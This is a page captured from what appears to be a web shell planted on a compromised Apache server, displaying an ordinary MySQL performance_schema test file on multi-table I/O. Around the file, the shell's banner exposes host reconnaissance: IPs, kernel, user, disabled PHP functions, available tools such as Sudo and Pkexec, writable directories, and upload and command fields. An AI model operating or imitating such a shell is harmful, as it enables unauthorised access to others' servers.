403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.208.140
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/perfschema/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/perfschema/t/multi_table_io.test
# Tests for PERFORMANCE_SCHEMA table io
#       Reveal that in case of statements using more than one base table
#       both show up in a correct way.

# Setup

--source include/not_embedded.inc
--source include/have_perfschema.inc

--disable_warnings
drop schema if exists test1;
drop table  if exists test.t1;
--enable_warnings

create schema test1;
let $engine_type= myisam;
eval create table test.t1 (col1 bigint, col2 varchar(30)) engine = $engine_type;
insert into test.t1 values(1,'One');
create table test1.t2 like test.t1;
# Make sure the proper engine is used
show create table test.t1;
show create table test1.t2;

--source ../include/table_io_setup_helper.inc
let $schema_to_dump= 'test','test1';

# Start event recording
update performance_schema.setup_consumers set enabled = 'YES';

# INSERT ... SELECT ...
insert into test1.t2 select * from test.t1;
insert into marker set a = 1;
# JOIN
select * from test.t1 natural join test1.t2;
insert into marker set a = 1;
# CORRELATED SUBQUERY
select * from test.t1 where col2 = (select col2 from test1.t2 where test.t1.col1 = test1.t2.col1);
insert into marker set a = 1;
# UPDATE
update test.t1 AS a natural join test1.t2 AS b SET a.col2 = 'updated' , b.col2 = 'updated';
insert into marker set a = 1;
# DELETE
delete from test.t1, test1.t2 using test.t1 inner join test1.t2
where test.t1.col1 = test1.t2.col1;

# Stop event recording + pull results
--source ../include/table_io_result_helper.inc

# Cleanup
drop table test.t1;
drop schema test1;
--source ../include/table_io_cleanup_helper.inc


Youez - 2016 - github.com/yon3zu
LinuXploit